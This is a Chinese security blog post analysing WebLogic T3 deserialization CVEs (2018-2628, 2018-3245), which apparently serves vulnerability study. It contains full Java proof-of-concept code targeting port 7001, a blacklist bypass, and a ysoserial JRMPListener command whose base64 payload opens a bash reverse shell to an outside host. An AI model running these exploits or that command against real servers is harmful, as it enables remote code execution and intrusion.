Weblogic Analysis Attacked by T3 Protocol From CVE (part 3)

RoboTerh 2022-11-03 14:23:00

前言

继续抽空学习Weblogic CVE中有关T3协议的漏洞利用方式!

环境搭建

和前面的过程类似

T3+JRMP利用

CVE-2018-2628

原理

这个CVE也就是前面的一种绕过,前面是在payload中将其动态代理为了Activator

或者是通过StreamMessageImpl类进行了封装

分析

我们主要是对使用StreamMessageImpl类进行封装的方法进行分析一下子

对于上一个CVE中,利用JRMP协议进行任意请求的利用,再通过T3协议进行序列化数据的传输之后,在wls端进行反序列化调用中

weblogic.rjvm.MsgAbbrevJVMConnection#readMsgAbbrevs中获取输入流之后调用了weblogic.rjvm.InboundMsgAbbrev#read进行处理,在该方法中,调用了该类重写的的readObject方法进行反序列化的调用

image-20221022134547216.png

一直可以跟踪到java.io.ObjectInputStream#readOrdinaryObject方法中

image-20221022134739065.png

是直接调用的readSerialData方法对序列化数据进行了反序列化处理,进而能够创建一个包含有我们设定的恶意的TCPEndpoint类的DGCClient

image-20221022135039378.png

之后能够触发连接

但是再上一个版本的补丁中进行了修复,这里的利用方式就是通过最开始调用readSerialData方法进行直接反序列化数据的位置,我们通过调用readExternalData方法来间接触发反序列化

但是,我们需要进入这个if语句,就需要使得,我们传入的类满足

if (desc.isExternalizable())

这个调用,这里的isExternalizable也就是判断是否实现了Externalizable接口

image-20221022140348979.png

在weblogic中有很多的实现

同样因为需要进行反序列化的调用,所以也需要实现了StreamMessageImpl接口,我们可以定位到这里的利用,StreamMessageImpl

image-20221022140506782.png

因为在ObjectInputStream#readOrdinaryObject方法中,在进入了if语句之后将会调用readExternalData方法,进而调用了我们序列化最外层的类的readExternal方法

image-20221022140910184.png

这里即是StreamMessageImpl#readExternal方法中

image-20221022141454916.png

我们可以关在到,在while循环中,存在有var5.readObject方法的调用

想要使得var5为我们构造的序列化数据,之后成功进行反序列化的利用的。我们需要解决几个难点

  1. 首先就是需要进入到case 1:语句中

我们阅读前面的逻辑,首先是调用了readByte方法中输入流中获取了一个字节var2,之后将这个数与127做按位与运算得到var3之后判断var3的值,根据这个逻辑,我们需要在序列化的时候writeByte一个1才能够进入case 1:语句

image-20221022142148930.png

  1. 第二个是解决在case语句中生成的payload属性是我们的序列化数据,我们跟进一下createPayload方法看看该属性是从哪里来的

image-20221022142749204.png

这里首先是调用输入流的readInt方法得到了序列化数据的长度,之后调用copyPayloadFromStream方法从流中获取到payload序列化数据,跟进看看

image-20221022143330175.png

调用了createOneSharedChunk来创建Chunk

image-20221022143420917.png

逻辑还是很明确的,就是通过read方法的调用,一块一块的从输入流中读取序列化数据

所以,我们首先需要writeInt一个序列化数据的长度,之后write序列化数据

综上所述,我们需要在StreamMessageImpl#writeExternal方法中,一次调用writeByte(1) / writeInt(len(payload)) / write(payload)

我们可以通过重写weblogic.jms.common.StreamMessageImpl类的writeExternal方法来实现这些逻辑

image-20221022144304233.png

所以完整的POC为

package pers.weblogic;

import com.supeream.serial.Serializables;
import com.supeream.weblogic.T3ProtocolOperation;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

import static com.supeream.weblogic.BypassPayloadSelector.streamMessageImpl;


public class CVE_2017_3248 {
    public Object getObject() {
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint tcpEndpoint = new TCPEndpoint("192.168.153.1", 9998);
        UnicastRef unicastRef = new UnicastRef(new LiveRef(id, tcpEndpoint, false));
        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(unicastRef);
//        Registry registry = (Registry) Proxy.newProxyInstance(CVE_2017_3248.class.getClassLoader(), new Class[]{Registry.class}, handler);
        Object object = Proxy.newProxyInstance(CVE_2017_3248.class.getClassLoader(), new Class[]{Activator.class}, handler);
        return object;
    }

    public static void main(String[] args) {
        try {
            byte[] serialize = Serializables.serialize(new CVE_2017_3248().getObject());
            T3ProtocolOperation.send("192.168.153.136", "7001", Serializables.serialize(streamMessageImpl(serialize)));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

其中的streamMessageImpl方法

public static Object streamMessageImpl(byte[] object) throws Exception {

    StreamMessageImpl streamMessage = new StreamMessageImpl();
    streamMessage.setDataBuffer(object, object.length);
    return streamMessage;
}

其中setDataBuffer方法

public void setDataBuffer(byte[] var1, Integer var2) {
    this.payload_content = var1;
    this.payload_size = var2;
}

对于恶意JRMP服务端,我们可以自己搭建一个,或者直接使用ysoserial项目中的

java -cp .\ysoserial.jar ysoserial.exploit.JRMPListener 9998 CommonsCollections6 'bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4xNTMuMS84MDAwIDwmMSc=}|{base64,-d}|{bash,-i}'

给个调用链

readObject:71, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2122, ObjectInputStream (java.io)
readOrdinaryObject:2013, ObjectInputStream (java.io) [4]
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
executeCall:245, StreamRemoteCall (sun.rmi.transport)
invoke:379, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:378, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:156, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:493, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2122, ObjectInputStream (java.io)
readOrdinaryObject:2013, ObjectInputStream (java.io) [3]
readObject0:1535, ObjectInputStream (java.io)
defaultReadFields:2231, ObjectInputStream (java.io)
readSerialData:2155, ObjectInputStream (java.io)
readOrdinaryObject:2013, ObjectInputStream (java.io) [2]
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readExternal:1444, StreamMessageImpl (weblogic.jms.common)
readExternalData:2062, ObjectInputStream (java.io)
readOrdinaryObject:2011, ObjectInputStream (java.io) [1]
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:67, InboundMsgAbbrev (weblogic.rjvm)
read:39, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:287, MsgAbbrevJVMConnection (weblogic.rjvm)

CVE-2018-2693

原理

对于这个CVE也就是在apache修复了commons-collections的漏洞之后,通过JDK 7u21的一个原生反序列化漏洞进行的利用

也就不具体分析了,但是限制也是很大的,虽然现在已经存在有8u20的一个新的利用链,但是还是不能够在较高版本中利用

CVE-2018-3245

原理

这个也就是对前面CVE的修复的一种绕过思路,前面针对该种攻击主要是采用的黑名单的方式进行过滤

// 黑名单package:
java.rmi.activation
sun.rmi.server
// 黑名单class:
java.rmi.server.UnicastRemoteObject
java.rmi.server.RemoteObjectInvocationHandler

这里采用了其他类来代替前面使用的RemoteObjectInvocationHandler

分析

我们知道前面JRMP的利用主要是在RemoteObject#readObject方法

前面使用RemoteObjectInvocationHandler进行代理,也是想要触发RemoteObject#readObject方法调用了readExternal方法进行利用

image-20221022161306697.png

既然该类不能够使用了,我们可以寻找其他的类来构造,即需要保证该类继承RemoteObject类且没有重写readObject方法(即使没有破环利用链)

image-20221022161546117.png

存在有很多类,能够利用

这里至于个例子构建利用链就行了,就例如ReferenceWrapper_Stub类中的构造方法中

image-20221022161706004.png

能够传入一个RemoteRef对象,且并没有实现readObject方法, 也不在黑名单中

我们可以利用这个类代替前面的RemoteObjectInvocationHandler封装UnicastRef对象

public Object getObject() {
    ObjID id = new ObjID(new Random().nextInt());
    TCPEndpoint tcpEndpoint = new TCPEndpoint("192.168.153.1", 9997);
    UnicastRef unicastRef = new UnicastRef(new LiveRef(id, tcpEndpoint, false));
//        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(unicastRef);
//        Registry registry = (Registry) Proxy.newProxyInstance(CVE_2017_3248.class.getClassLoader(), new Class[]{Registry.class}, handler);
//        Object object = Proxy.newProxyInstance(CVE_2017_3248.class.getClassLoader(), new Class[]{Activator.class}, handler);
    ReferenceWrapper_Stub object = new ReferenceWrapper_Stub(unicastRef);

    return object;
}

同样还有着很多其他的类能够利用

RegistryImpl_Stub

DGCImpl_Stub

....

但是限制同样存在,前面也提到了JEP 290,在8u231开始不能够成功利用,当然也有着稍微高点版本的绕过方式,这里也就不深入分析了

Ref

https://www.chabug.org/author/Y4er

https://github.com/QAX-A-Team/WeblogicEnvironment

https://www.anquanke.com/member.html?memberId=151002

https://www.freebuf.com/vuls/179579.html

https://www.freebuf.com/vuls/229140.html<sub>~</sub>~

https://avd.aliyun.com/search?q=Weblogic&page=1

评论

RoboTerh

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

Windows安全 文章:88 篇
PHP安全 文章:45 篇
前端安全 文章:29 篇
后门 文章:39 篇
软件安全 文章:17 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录